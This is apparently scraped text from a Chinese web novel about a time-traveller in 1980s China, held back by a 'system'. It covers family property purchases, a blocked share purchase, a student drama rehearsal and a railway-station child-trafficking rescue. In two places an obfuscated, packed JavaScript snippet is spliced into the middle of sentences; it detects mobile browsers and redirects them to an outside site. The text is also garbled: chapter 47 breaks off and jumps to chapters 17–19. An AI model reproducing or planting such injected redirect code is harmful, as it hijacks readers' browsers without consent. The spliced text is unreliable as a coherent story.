“再说了,您忘了?厂里现在正在搞公房出售试点,职工可以用工龄抵扣,低价 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17282500|196120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 买下现在住的房子。这政策是国家给的福利,窗口期就这几个月,过了这村就没这店了。咱们先把这套房子买下来,产权攥在自己手里,以后不管是拆迁还是怎么着,都踏实,对不对?” 时爱国听着闺女的话,不由得点头,这才反应过来了。他在厂里干了二十多年,这套房子住了十几年,一直是公房,每个月交房租。现在国家出了政策,职工可以用工龄低价买下来,他之前还在犹豫,被时墨这么一点,瞬间就想通了——这确实是国家给的福利,不买才亏了! “然后是老院子。”时墨又看向李秀兰,条理清晰道,“妈,那院子位置在市中心,现在看着破,但城市以后要发展,那块地肯定涨。咱们现在买下来,哪怕先租出去,每个月都有进项。稳赚不赔的买卖,肯定值当。” 最后,时墨看向时建军,语气缓和道:“哥,你放心,钱我肯定留够了,上大学花不了多少钱。我知道你们担心我手里不留钱,但你们想想,存银行一年利息才多少?够干啥的?房子不会跑,金子不会烂,比存银行那点利息靠谱多了。万一以后家里有什么急事,金子随时能变现,房子也能随时出手,比把钱单纯攥在手里踏实多了。” 时墨笑道:“再说现在国家政策利好,咱们老百姓买房,过了这村没这店!” 李秀兰听得愣愣的,半晌道:“金子……能行?” “妈,您想想解放前,纸币说废就废,但金条什么时候都能换粮食。”时墨道,“黄金最保险。” 时爱国沉默了好一会儿,看着女儿的眼神复杂,有欣慰,有骄傲:“墨墨,你跟爸说实话,这些想法……都是哪儿来的?看书看的?” 时墨镇定自若地点头:“嗯,看书,还有关注新闻时政,自己也想了很多。再说了咱家房子多,我哥以后娶媳妇也有底气。” 时建军一听这话,眼眶有点热,嘴上却说:“你这丫头,怎么又扯上我了,我当哥的……” “怎么不能扯你?”时墨瞪他,“你是我亲哥,我不替你想替谁想?” 时爱国点了点头,看着女儿的眼神里满是骄傲,拍了板:“行,闺女长大了,看得比爸远!就按你说的办!爸明天就去厂工会问公房出售的事,保准给你办得妥妥帖帖的!” “我就说咱闺女有主意!”李秀兰彻底放下了顾虑,“行!妈也听你的!侨汇券的事,妈去跟厂里跟老姐妹问问!” “刘叔和王哥那边,我明天一早就去说!让他们这几天家里留人,等钱一到,咱们立刻去房管所办手续!”时建军拍着胸脯主动揽下活,又皱着眉问,“妹,要是真像你说的,张寡妇托老刘他们来递话,求着咱买房子,咱怎么办?” 时墨端着水杯抿了一口,嘴角勾着一抹淡笑,语气笃定:“她真来递话,房子可以按当初说好的市价买,但有一条——必须让她自己上门,当着爸妈的面,为去厂里造谣的事赔礼道歉。她不来,这房子咱就不买,晾着她。” “高啊妹!”时建军眼睛一亮,竖起大拇指,“就得让她服个软,不然她还真以为咱们家好欺负!” 一家人分工明确,事情瞬间安排得妥妥当当。时墨悬着的心落了地,只等着出版社的稿费到账,按计划把钱花出去。 而此时此刻,胡同里的老四合院,正闹得鸡飞狗跳。 47. 第 47 章 老刘一家四口,加上小王两口子,正堵在张寡妇家门口,拍着门板骂得比上午还凶,唾沫星子喷了一门板。 “张寡妇!你个丧良心的搅屎棍!我们两家急着卖房救命,全被你一张嘴搅黄了!”老刘媳妇拍着门,嗓子都喊哑了,“你想讹钱自己讹去,别拉着我们垫背!” “今天你必须给我们个说法!要么你去时家赔礼道歉,把人家请回来买房子,要么你就把我们俩的房子按市价收了!二选一,没别的路!”小王攥着拳头,气得脸通红。 张寡妇躲在屋里,插着门闩,背靠着门板浑身发抖,又气又怕,肠子都快悔青了。可嘴上依旧不肯服软,隔着门板虚张声势地叫嚷:“你们疯了?!房子是我的,我想卖多少钱卖多少钱!时家不买是他们没本事,关我什么事?!要道歉你们自己去,我不去!” “你放屁!”老刘气得一脚踹在门板上,震得门框直掉灰,“要不是你坐地起价翻一倍,人家时家能不买?今天你不答应把这事解决了,我们就堵在你家门口不走了!让你连院门都出不去!” 叫骂声、拍门声响彻了整个胡同,路过的街坊邻居都探着头看热闹,没一个上前劝的,谁都知道是张寡妇不地道,想讹钱搅黄了买卖,纯属活该。 * 转眼就过了两天。 外面的雪化了大半,天阴沉沉的,时墨也没出门,悠闲地歪在客厅的沙发上看电视。 家里十二寸黑白电视机信号不太好,时不时沙沙作响,时墨也不嫌烦,调了调天线,继续盯着屏幕。 虽然现在的电视节目单调得很,翻来覆去就几个台,但时政新闻她一场不落,每次都看得格外认真。她只记得历史大方向,却容易忽略每年的政策细节,稍不注意,就可能错失掉时代的风口。 正看着,新闻里突然插播了一条简讯:“海市飞跃音响公司正式向社会公开发行华夏第一支普通股股票,总计一万股,每股面值五十元,即日起面向社会公开发行。” “哐当。” 时墨手里的搪瓷缸子摔在茶几上,杯里的温水晃出来,洒在了手背上都没察觉。 飞跃音响!国家第一支公开发行的股票! 她猛地坐直了身子,眼睛死死盯着黑白电视屏幕,连呼吸都顿了半拍。 电视里主持人还在念:“……作为股份制改革试点,此次发行旨在探索企业融资新路子……” 她怎么把这事忘了! 这支原始股刚发行的时候,老百姓连股票是什么都不知道,都觉得是“资本家那套玩意儿”,这东西看不见摸不着,还不如把钱存银行吃利息稳妥。发行快十天都没卖完,最后还是靠动员公司内部职工才勉强售罄。 可谁能想到,短短两年后,1986年这支股票就暴涨十几倍,等到1990年上交所正式成立,更是直接翻了几百倍! 时墨盯着电视屏幕,眼睛都快冒光了。 她甩了甩手上的水,拍拍脸,让自己冷静下来。 之前光想着买房、买黄金,她完全把这支改变华夏资本市场历史的股票忘得一干二净,这可比黄金赚得多太多了! 她心里立刻有了主意:等稿费一到账,先不买别的,直奔信托公司,把剩余的钱全砸进去。 * 次日,周一上午,时墨刚上完第一节语文课。 【叮!宿主当前可支配现金18617元,超出限额18600元!请于24小时内完成合规处置,否则将强制冻结超额财富!】 系统提示音突然在脑海里炸响。 时墨心里一凛,立刻找班主任请了病假,说自己阑尾突然疼起来要去医院,得了批准后,立刻背起书包离开学校。 出了校门口,拦了辆三蹦子,先奔银行,签字,取款。 厚厚一沓崭新的“大团结”,十块钱一张,整整齐齐捆成了十八捆,拿在手里沉甸甸的。 银行柜员多看了她两眼,没多问,把钱递出来时说了句:“小姑娘,这么多钱,路上小心点。” “嗯,谢谢姐姐。” 时墨把装钱的布袋子塞进书包,拉链拉好。从外面看,就是个普通学生装书本的书包,谁也想不到里面装着近两万块的巨款。 从银行出来,时墨又拦了辆三蹦子,直奔国际信托投资公司。 十几分钟后,三蹦子停在信托公司门口,时墨推门进去,直奔柜台。 信托公司柜台的工作人员看见面前的中学生,脸上露出诧异的神色,还是礼貌地问:“小同志,你要办什么业务?” “同志,我想问一下,海市飞跃音响那个股票,咱们这儿能代办认购吗?”时墨扶着柜台,问道。 工作人员上下打量她一眼,态度倒是客气:“我们这儿可以代办。不过——”她顿了顿,压低声音劝了一句,“小姑娘,你确定要买?那玩意儿跟银行存款不一样,不保本不保息,亏了国家可不兜底的。” 时墨心里有数,当下这年月,敢碰股票的,要么是有海外关系、见过世面的,要么就是胆子极大的,普通老百姓连听都没听过这东西。 “我确定。”时墨把书包往柜台上一放,“同志,我要买200股!” “两、两百股??!”工作人员眼睛都瞪圆了,手里的钢笔都差点掉了。最近来问的人不少,最多的也就买个几十股,还都是三四十岁的生意人,从没见过一个十几岁的小姑娘,一张口就买两百股,这可是一万块钱! 她连忙又劝了一遍:“小同志,你可想好了?这真不是存款,万一亏了,钱可就打水漂了!你爸妈知道你拿这么多钱出来买这个吗?” “我想好了,我自己的钱,我能做主。”时墨斩钉截铁地说,伸手就要往外拿钱。 就在这时,系统红色警报突然在脑海里炸响,尖锐刺耳。 【警告!警告!该交易属于主动盈利性投资行为,严重违反“躺平”原则,禁止购买!】 时墨准备掏钱的手瞬间僵住了。 【什么意思?之前买四合院、买黄金都可以,买股票不行?】 【宿主,四合院属于固定资产自住且没有超额,黄金首饰属于佩戴品,均不属于主动盈利性投资。股票属权益类投资,未来收益不可控,不符合“维持基本生活水平”的核心条款。】系统的声音突然严肃起来,【若宿主强行交易,将触发一级惩罚:本次交易的所有资金将全额清零。】 时墨攥着书包带的手瞬间收紧,指节都泛了白。 系统警告声再次响起:【检测到宿主试图规避规则。若由直系亲属代持,惩罚将转移至亲属;若由他人代持,宿主仍将被视为实际受益人,同等处罚。】 时墨盯着柜台上的书包,一颗心沉到了谷底。 几百倍。 几百倍的收益。 就在她眼前,却不能买! 唾手可得的巨额财富,只能眼睁睁看着,这种憋屈,简直比刀割还难受。 工作人员看她脸色不对,站在原地半天没动静,关心道:“小姑娘,你还好吧?要不,你先回去跟家里商量商量?” 时墨压下心里的失落和不甘,缓缓吐出一口气,恢复了平静。 她把书包拉链拉好,对着工作人员歉意地笑了笑:“同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17289252|196120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 志,不好意思,我不买了。” 工作人员点了点头,也没多问。 时墨背起书包转身走出了信托公司的大门。 “时墨?” 身后传来一个熟悉的声音。 时墨回头,愣住。 谢时昀站在另一边,手里拿着个公文包,显然也是来办事的。他看见时墨,眼里闪过一丝意外,随即快步走过来。 “你怎么在这儿?”他放柔了声音问,目光扫过她身上鼓囊囊的书包,顿了顿,“来办业务?” 时墨没想到会在这儿碰见他,礼貌点头:“谢哥。” “怎么脸色这么难看?是不是出什么事了?”谢时昀的声音里满是关切,往前凑了半步,又怕离得太近让她不适,硬生生停住了脚步,“有什么难处,或者需要帮忙的地方,你尽管跟我说,别自己扛着。” 时墨看着他,心里瞬间闪过无数个念头。 她不能买,可谢时昀能买。 他开外贸公司,手里有流动资金,也懂政策,买股票合情合理,完全不违反系统规则。 可念头刚冒出来,就被她掐灭了。 系统的规则摆在那儿,代持都算违规,更别说让他帮忙买了。万一被系统判定为规避规则,得不偿失。更何况,她不想因为这种事,又欠谢时昀人情。 时墨心里的念头百转千回,面上却半点不露。对着他礼貌地笑了笑,语气客套道:“没什么事,就是过来看看。谢哥也是来办事的?” “嗯,过来办点对公业务。”谢时昀点点头,顿了顿,又状似无意地问了句,“刚才听你问飞跃音响的股票?你对这个也感兴趣?” 时墨没否认,也没承认,只反问了一句,把话题抛了回去:“谢哥呢?看你的意思是打算买?” “对,我准备买点。”谢时昀也不瞒她,语气认真道,“我研究过,这家公司做音响设备的,技术过硬,有自己的核心技术,发展前景不错。股票这东西在国外早就普及了,国内是头一回试点,我觉得是个新机会。” 时墨听完,心里那个滋味,别提了。 谢时昀说话的时候,一直留意着她的表情,把她眼里一闪而过的遗憾和莫名的愤怒看得清清楚楚。 谢时昀心思一转,立刻笑着补了一句:“其实我买这些股票,不全是为自己。” 时墨挑了挑眉。 “快年底了,公司员工这一年干得不错,我打算拿一部分股票当奖励发下去。”谢时昀语气随意,像是随口一提,“时叔在我公司挂名顾问,虽然平时不常来,但厂里几台进口设备出了难题,全靠时叔帮忙解决,帮了我大忙。到时候分红,自然也有时叔那一份。” 他这是…… 她看着谢时昀,目光里多了点说不清的意味。 谢时昀被她这么一看,耳根微微有点热,面上却不动声色。 时墨看着谢时昀,笑了笑,没接他递过来的台阶,只顺着他的话道:“谢哥对员工倒是大方,难怪公司做得这么好。不过既然你觉得这支股票有潜力,手里流动资金充足,倒是可以多买点。” 谢时昀微微一怔,显然没料到她会这么说。 时墨又旁敲侧击补了两句:“国家现在很支持股份制试点,海市以后可能会有股票交易的地方。你既然看好这个方向,可以多留意那边的政策。” 她说得很隐晦。 但谢时昀是什么人?常年跟外商打交道,在政策里找机会的人,时墨这两句话一出口,他瞬间就听懂了里面的分量。 谢时昀看着时墨的眼神变得复杂起来,“时墨,你……” 17-20 第17章 时墨心头微动, 总觉得他这话意有所指。 她垂下眼睫,夹了一筷子黄瓜,淡淡道:“机会是留给有准备的人的, 谢同志准备得很充分。” 谢时昀笑了笑, 没再继续这个话题, 转而和时爱国聊起了厂里的一些技术细节。 这顿饭的后半段, 时墨吃得有些心不在焉。 她脑子里飞快地转着:谢时昀的公司,轻工产品出口起步,这意味着他有稳定的货源和销售渠道,很可能在特区或沿海有联系。然后向技术含量更高的机械配件拓展,这就需要本地可靠的技术力量支持, 所以他来找父亲这样的老师傅挂名。 他是在布局, 一个从低端到高端,从贸易到可能的技术引进甚至生产的链条!他的眼界和行动力, 远超她的预估。 意识到这点, 时墨心猛地一颤。 不行,她不能这么被动! 谢时昀……或许可以成为一个重要的“信息源”和“观察窗口”。虽然他目的不明, 但至少在目前, 他释放的是善意, 而且他的层次和见识, 是她目前能接触到最高的。 她要是能接触到更多谢时昀这类人, 可选择性就多了,她需要破圈! 谢时昀见时墨陷入思考,果然, 他想的是对的。 饭后,谢时昀又坐了一会儿,便礼貌地起身告辞。 时墨跟着爸妈将他送到楼下。 回到屋里, 李秀兰看着地上那些礼物,又高兴又有点不安:“老时,这小谢……也太客气了。咱就这么收了,合适吗?” “人家诚心送的,也是一片心意。”时爱国看着那堆东西,心里也踏实了不少,“再说,咱以后也算他公司的‘顾问’了,他看重我的技术,咱也得对得起人家这份看重。” 时建军憨笑着:“谢同志人真不错,家世好有文化,还没架子。” “可不是嘛,我听我们厂长说……” 时墨回到房间,反手关上门,隔绝了客厅里父母和哥哥的聊天声,坐在椅子,闭眼沉思。 谢时昀开公司这件事,像一面镜子,真实地照出了她目前的窘境和内心的焦躁。 她受制于系统,不能劳累,不能主动经营。 系统虽然偶尔有点小福利,但本质上是个限制器,不会提供任何关于金钱、机遇的前瞻性信息。 她手头的现金流,除了补贴家用的稿费,就只剩下系统那里存着的2700元“老本”,这笔钱她另有打算,不能轻易动用。 拿谢时昀现在的状态对标自己,完全是自寻烦恼。 谢时昀的家世背景、工作平台、人脉资源、启动资金,哪一样是她现在能比的? 他的“时机”,是建立在他自身得天独厚的基础上,根本不是她这个被系统绑住手脚、白手起家的人能复制的。 如果给她同样的条件,她必不会比谢时昀差! 这么一想,心里的憋闷和急躁散去不少。 “不急,稳住。”时墨睁开眼,缓缓吐出一口气。 80年代的机遇多的是,国库券、股票、地皮、甚至未来的互联网……有的是机会大展拳脚。 谢时昀开公司这件事,与其说让她焦虑,不如说给了她一个重要的启发——她需要破圈。 她除了周日天天学校和家两点一线,接触的永远是工人、老师、同学这些熟悉的人。 她不能被局限在这一方小小的天地里。 想通后,时墨的心彻底定了下来,拿出写了一半的小说,笔尖落在纸上,思路比以往任何时候都要清晰。 周日,时墨应周晓娟的邀请,去师范大学观看他们英语系的话剧社团排练。 周晓娟上周就写信约她,说她们系排了一出英语话剧,希望时墨能以观众视角提提意见。 师范大学校园绿树成荫,处处透着朝气蓬勃的气息。 时墨走到外语系的排练室门口,里面已经聚集了十来个学生,有的在对台词,有的在比划动作,气氛热烈。 周晓娟一眼就看到了门口的时墨,高兴地跑过来:“墨墨!你可来了!我看时间约莫着你差不多快到了,快进来!” 她拉着时墨走进教室,教室里安静了一瞬。所有人的目光都聚焦在时墨身上 时墨今天穿了件简单水蓝色长裙,长发松松地编成一条辫子垂在肩侧,未施粉黛。但时墨明艳的五官和淡然气质,在周围略显青涩的大学生里,格外扎眼。 周晓娟笑着向大家介绍道:“同学们,她就是我之前跟你们提过的好朋友,时墨!” “晓娟,你朋友也是咱们学校的?哪个系的?怎么没见过?”一个戴着眼镜的男生好奇地问。 “时墨不是咱们学校的,她是我高中同学,现在在复读,准备明年高考呢。”周晓娟解释道。 “复读生?”另一个穿着时髦喇叭裤的女生微微挑眉,语气里带了点不易察觉的轻视。 八十年代,能考上大学是凤毛麟角,大学生自带优越感,对复读生难免有些轻视。 时墨仿佛没听出那丝轻视,微笑着朝大家点点头:“大家好,别我来打扰你们了,大家继续。” 导演是个扎着马尾的女生,笑着说:“欢迎欢迎!正好我们刚排到第二幕,你也帮着看看,有什么问题尽管提。” 话剧开始排练。 周晓娟饰演女配,男配则由一个叫陈涛的高个子男生饰演。剧本是全英文的,看得出大家都下了功夫准备,但发音和语调还是难免带着些“中式英语”的味道,表演也稍显稚嫩和夸张。 时墨安静地坐在后排观看,偶尔在周晓娟的剧本上记下几个字。 一段排完,负责导演的社团团长,一个叫孙浩的男生拍了拍手:“停!大家过来,我们讨论一下刚才这段。朱丽叶在阳台上的独白,情绪要再饱满一点,那种对爱情的憧憬和矛盾……” 大家围拢过来讨论。说到一处台词的理解时,饰演罗密欧的陈涛和一个女生因为某个词的语气争了起来,两人各执一词,英文夹杂着中文,谁也说服不了谁。 周晓娟有些着急,下意识地看向时墨。 时墨轻轻拍了拍她的肩膀,走上前一步,一开口就是地道流利的伦敦腔:“关于这句台词,如果我们考虑到戏剧反讽和原文中的铺垫,或许将炽热与一种潜在的、无意识的哀伤混合起来,会更有层次感。” 全场瞬间安静了。 所有人都惊呆了,看着时墨的眼神像看怪物一样。 这口语!比他们这些英文专业的学生还要地道! 导演更是眼睛一亮:“你……你英文这么好?” 孙浩惊讶地看向时墨:“时墨,你是专门学过吗?” 时墨谦虚地笑了笑,切换回中文:“平时喜欢看些英文原著,听英文广播,练得多了,就顺口了。” 她顿了顿,继续说道:“还有,舞台走位可以更灵活一点。现在的站位太死板了,像在念课文。可以根据人物的情绪变化调整距离……” 时墨又引用了几句原文和当时的文化背景,说得条理清晰,见解独到。 这下,所有人看她的眼神都变了。 刚才那点因为“复读生”身份而产生的轻视,瞬间烟消云散,取而代之的是惊讶和佩服。这英语水平,这文学素养,比他们很多英语系的学生都强! “说得好!”孙浩兴奋地一拍大腿,“时墨同学,你提的这个角度太棒了!一下就抓住了精髓!来来来,你再多给我们讲讲!” 接下来的讨论,时墨自然而然地被拉了进去。 她不仅对台词和人物心理分析得头头是道,还根据自己后世看过的各种话剧、电影的经验,提出了一些关于舞台走位、灯光气氛、甚至服装搭配的建议。 虽然有些想法受限于当时的条件可能无法实现,但其新颖的视角和专业的味道,让这群戏剧爱好者们听得两眼放光,大受启发。 “时墨,你简直是个宝藏啊!”一个女生感慨,“你怎么懂这么多?” 周晓娟与有荣焉,一脸自豪道:“墨墨可厉害了!她不仅学习好,还会写文章呢!在杂志上发表过好多篇,还连载小说,可有名了!” “作家?!”这下大家更震惊了。 “真的吗?时墨你都写过什么?说不定我看过呢!”一个一直在旁默默观察,气质斯文的男生突然开口问道。 时墨看着眼前这位家境不错的男生,说了自己常用的笔名和发表的几篇作品名字。 沈岩眼睛一亮,语气带着惊喜和激动:“《返城知青逆袭记》是你写的?我每期都追!写得非常好看!我还以为是年龄大有经历的人写的呢!” 他没想到,自己追了这么久的作者,竟然是周晓娟的同学,还长得这么漂亮,这么有才华! 再看向时墨的目光,瞬间充满了热切和欣赏,甚至夹杂了几分明显的倾慕。 沈岩主动上前:“时墨,我叫沈岩,我爸在轻工业局工作,我妈在出版社做主编。我很喜欢文学,平时也写点东西,以后咱们可以多多交流!”他看似随意地提起家庭背景,实则是想展示自己的“条件”,拉近和时墨的距离。 轻工业局?出版社? 时墨心中一动。这两个单位,现在都是实权部门或文化要害部门。 她面上不动声色,依旧保持着得体的微笑,与沈岩交谈起来,态度既不热络也不冷淡,分寸把握得极好。 两人从莎士比亚聊到当下文坛,从话剧排练聊到改革开放后的文化思潮,时墨的见识和谈吐,让沈岩越发倾倒。 沈岩甚至主动道:“时墨你的小说写得这么好,肯定能出版!等我回去就跟我妈说!” 时墨脸上露出恰到好处的笑容:“真的吗?那谢谢你了!” “我们是朋友,你不用跟我客气。” 周晓娟看着相谈甚欢的两人,又看看沈岩看时墨的眼神,明白了。沈岩在系里是出了名的条件好、眼光高,没想到对墨墨一见钟情。 排练结束,大家纷纷向时墨道谢,邀请她以后常来。 沈岩更是主动提出邀请:“时墨,下周末我们社团可能有个小聚会,讨论下一个剧本,你有兴趣来参加吗?你的想法对我们帮助太大了。” 时墨略一沉吟,微笑着点头:“如果有时间,我一定来。” 时墨跟周晓娟道别后,刚走到校门口,就被一个背吉他的长发男生拦住了—— 作者有话说:感谢可爱善良支持正版的读者们,防盗开启30%,后续逐渐提高会跟大家提前说。 第18章 时墨抬眼, 快速打量眼前人——牛仔外套、扫地喇叭裤,半长头发,背上还挎着吉他。 这副打扮在八十年代初堪称“时髦前卫”, 与时墨刚才接触的那些朴素大学生截然不同。 很好, 潮流小伙。 “同学, 你好!”青年脸上带着爽朗的笑, 盯着时墨的双眼亮得惊人,“冒昧问一下,你是这个学校的吗?哪个系的?” 他的语气带着不易察觉的紧张,显然是一见钟情,脑子一热就冲了上来。 时墨眉头微蹙, 后退半步拉开距离, 语气疏离:“不是,我来找人。抱歉, 借过。” 她侧身想绕过去。 赵星宇却下意 识跟上一步, 急忙解释:“哎,同学你别误会!我叫赵星宇, 在市文化局工作, 大专毕业, 正经单位!我朋友是文学系的, 我来找他讨论乐队编曲的事儿!” 文化局工作, 大专学历,搞乐队……这几个关键词串联起来,再结合那略显跳脱的气质和“赵”姓。 时墨几乎立刻确定了眼前人的身份——谢时昀那个热爱音乐、逃避相亲的表弟, 赵厂长的儿子,赵星宇! 世界可真小啊。 时墨心下微哂,面上却丝毫不显:“哦, 这样啊。我还有事,先走了。”说完不再给他开口的机会,加快脚步汇入街边人流。 赵星宇站在原地望着她离开的方向,摸了摸鼻子,非但没失落,反而更感兴趣了——这姑娘,长得漂亮,气质还特别,够劲儿! 【宿主,恭喜完成一次“非学习类娱乐活动”!】时墨骑车回家时,系统提示音响起,【奖励二选一:现金50元,或能量币10个。】 时墨想都没想:【能量币。】 现金虽诱人,但能量币能兑换系统商城里超越时代的工具,更有价值。 【能量币发放成功!宿主能量币余额:510个!】系统欢快道,【宿主明智!能量币可以兑换有趣的东西哦,虽然现在还买不起最便宜的……】 时墨没理会系统的絮叨,心里盘算着,能量币的获取看来和“符合系统认定的正面休闲活动”有关,这倒是个新发现。 【宿主!等等!】系统突然急促地喊了一声,【检测到商城盲盒限时一折活动!仅需500能量币!限时1分钟抢购!赌不赌?□□一把说不定能开出特别道具!】 “盲盒?”时墨骑车的动作一顿,眼底闪过一丝犹豫。 盲盒这东西……就是个赌。 她略一沉吟。现在账户有510能量币,买不起正经商品,攒够下一个道具不知道要等到猴年马月,不如赌一把! 【买!】 【好嘞!】系统兴奋地扣款,【叮!兑换成功!盲盒开启中……恭喜宿主获得“限时任务地图”×1!】 系统话音刚落,时墨眼前就浮现出一张半透明的电子地图,上面有个急促闪烁的红点,旁边标注着倒计时:00:28:17。 红点位置——首都火车站。 地图下方只有一行小字:四岁男童,卷发,蓝色背带裤,白色运动鞋。找到目标人物,完成隐藏任务。 没有任何额外奖励说明,但时墨深知系统从不发放无意义的道具。 【小七,快速规划最优路线!】 【路线生成:前方500米右转至公交站,乘坐3路公交至火车站东站,下车后换乘三蹦子直达红点区域——火车站候车大厅北侧入口!】 时墨当机立断,猛蹬自行车拐进最近一条胡同,把车锁在一处居民楼车棚,抓起包冲到公交站,跳上刚进站的103路。 公交车摇摇晃晃,时墨盯着脑海里持续减少的倒计时:00:12:18…00:11:43…… “师傅,能开快点吗?我有急事!” “姑娘,这已经最快了!”司机无奈道。 还剩9分钟,车终于到站。还没停稳,时墨就蹦了下去。 “哎,你这孩子,注意……” 时墨一眼瞥见站外停着几辆拉活三蹦子,立马冲过去,拽开车门,催促道:“师傅,火车站候车大厅北侧入口!麻烦快点开,我有急事,可以加钱!” “好嘞!您儿坐稳喽!”师傅一拧油门,三蹦子突突突窜了出去,颠得时墨五脏六腑都快移位。 风刮在脸上,时墨心跳如擂鼓。 倒计时:00:05:12…00:04:37…00:03:10…… 三蹦子一个急刹停在火车站广场外。 时墨扔下两块钱跳下车,疯狂往候车大厅跑。 脑海里地图红点已近在咫尺,倒计时:00:01:05。 火车站内人山人海,挤满了拎着包袱、扛着编织袋的民工、拎着公文包的干部、拖家带口的旅客,烟雾缭绕,人声嘈杂。 时墨像一尾逆流的鱼,艰难地往里挤。 倒计时:00:00:38。 终于到达地图红点位置。 时墨站在北侧入口附近,目光锐利地扫过人群,瞬间锁定了目标——东南角,厕所附近! 一个穿蓝色背带裤、白色运动鞋的小男孩孤零零站在那里,卷发乱糟糟的,眼神怯生生的,周围没有一个大人陪着。 就是他! 倒计时:00:00:15。 时墨冲了过去。 就在她离孩子还有五六米时,一个穿着灰布褂子、系着头巾的中年妇女从斜刺里快步走向男孩,伸手就要去拉他。 【宿主!那是人贩子!】系统尖叫预警。 时墨瞬间加速,在女人触到孩子前一秒,一把将小男孩抱进怀里! “你干什么?!”灰布褂女人脸色骤变,声音尖利刺耳,“抢孩子了!有人抢我孙子!” 她伸手就夺,粗糙的手指像铁钳般抓住时墨的胳膊,力气大得几乎要嵌进肉里。 时墨早有防备,侧身躲开要害,双臂死死箍住孩子,后背顶住身后的墙角,将小男孩护在怀里。 男孩被这突如其来的拉扯吓得“哇”一声哭出来,小手紧紧搂住时墨的脖子,脸埋在她肩头,哭得浑身发抖。 “到底谁抢孩子?!”时墨不退反进,迎着女人狠厉的目光,声音陡然拔高,穿透嘈杂的人声:“各位同志、乡亲们——快来看看啊!这大妈口口声声说我弟弟是她孙子,那您当着大伙儿面说说,他叫什么名字?今年几岁?生日哪天?他胳膊上的胎记在左边还是右边?!” 灰布褂女人被这一连串质问砸懵了,眼神闪烁,支支吾吾道:“他、他叫……” “说不上来了吧!”时墨冷笑一声,乘胜追击,“大家看看,这女人说话支支吾吾,你要是亲奶奶,能连孩子的名字都不知道?而且孩子哭成这样,她不心疼安抚,反而上来就抢,哪有半分疼爱?” 她一边说,一边警惕地观察四周,火车站里的旅客已经围了一圈,有人好奇地探头探脑,有人抱着胳膊冷眼旁观,还有人怕惹麻烦,悄悄往后退,没人敢轻易出头。 【宿主!危险!左侧穿工装的男人、右侧瘦高个、侧后方戴帽子的,三人是同伙!已经形成三角围攻,正在逼近!】系统的警报声急促响起。 时墨余光一扫,果然看到人群中那三个男人正慢慢围过来,眼神凶狠,脚步压低,显然是想趁乱动手。 “还有你们三个!”时墨果断调转矛头,伸手指向三人,“穿工装的、瘦高个、戴帽子的!她一喊抢孩子,你们立马围上来,动作这么默契,怕不是一伙的啊!” 工装男被点破,索性不再伪装,恶狠狠地瞪着时墨:“少多管闲事!赶紧把孩子交出来,不然别怪我们不客气!” “不客气?”时墨嗤笑,故意刺激他,抱着孩子朝人群密集处退,“你们想怎么不客气?光天化日之下抢孩子,还敢威胁人?大家想想,要是真的孩子家长,第一反应该是喊警察、讲道理!安抚孩子!可他们呢?一个上来就抢,他们就是团伙作案!想制造混乱把孩子抢走,卖到外地去!” 她顿了顿,目光扫过围观的人群,语气带着恳切:“这孩子要是被他们带走,这辈子就完了!谁家没有孩子?谁忍心看着这么小的孩子被拐走?求大家帮个忙,报警,别让他们跑了!” 这番话瞬间戳中了所有人的软肋,围观的人群终于有了动静。 “是啊!哪有当奶奶的连孙子名字都说不出来!” “那三个男的一看就不对劲!眼神贼溜溜的!” “这大妈穿得补丁摞补丁,孩子一身崭新衣裳——不像一家人啊!” 议论声越来越大,原本观望的人开始往前凑,几个年轻力壮的旅客已经悄悄站到了时墨身边,形成了一道微弱的屏障。 灰布褂女人见势不妙,眼神一狠,朝工装男使了个眼色。 工装男立刻冲上前,伸手就去抢时墨怀里的孩子,嘴里还骂着:“臭丫头,少在这儿妖言惑众!把我侄子还来!” 时墨早有准备,抱着孩子侧身一躲。 “还敢动手?!”周围的人群被彻底激怒了。 一个扛着扁担的中年汉子横跨一步,抡起扁担“啪”地挡住工装男面前,大喝道:“别动!欺负一个姑娘家,算什么本事!” “对!等警察来了说清楚!” “不能让他们乱来!”旁边卖茶叶蛋的大婶也拎起小板凳站了出来。 瘦高个见状,从腰里摸出一把弹簧刀,“唰”地弹开,威胁道:“不想死的就滚开!” 人群瞬间往后退了半步,气氛再次紧张起来。 【宿主!戴帽子的在你身后!他要偷袭!】系统尖叫。 第19章 时墨猛地回头, 正好看到戴帽子的男人伸手朝她后背抓来。 她反应极快,抱着孩子往前一扑,躲开了这一抓, 同时大喊:“他也有刀!大家小心!” 说时迟那时快, 一个原本蹲在行李堆旁等车的年轻民工猛地跃起, 从背后一把勒住戴帽子男人的脖子, 另一只手死死攥住他持刀的手腕:“狗日的!还敢动刀?!” “按住他们!” “别让人贩子跑了!” 拎扁担的汉子突然用扁担打向瘦高个拿刀的手腕,男人手一痛,刀掉落在地。 “快!把刀拿走!” 一个妇女眼疾手快立马弯腰捡刀,躲到丈夫身后。 当下,人们对拐卖儿童深恶痛绝, 一旦确信对方身份, 朴素的正义感便如火山喷发。 卖菜的大爷抡起扁担,扫地的阿姨举起笤帚, 等车的旅客也摘下公文包挡在前头。 “大家一起上!他们就四个人, 咱们这么多人,还怕制不住他们?” “快围住他们!” “别让他们伤了孩子!” 戴帽子的男人想往人群外冲, 被一个大爷伸出脚绊倒, 瞬间被几个人按住。 灰布褂女人见势不好, 转身就想往人群里钻。 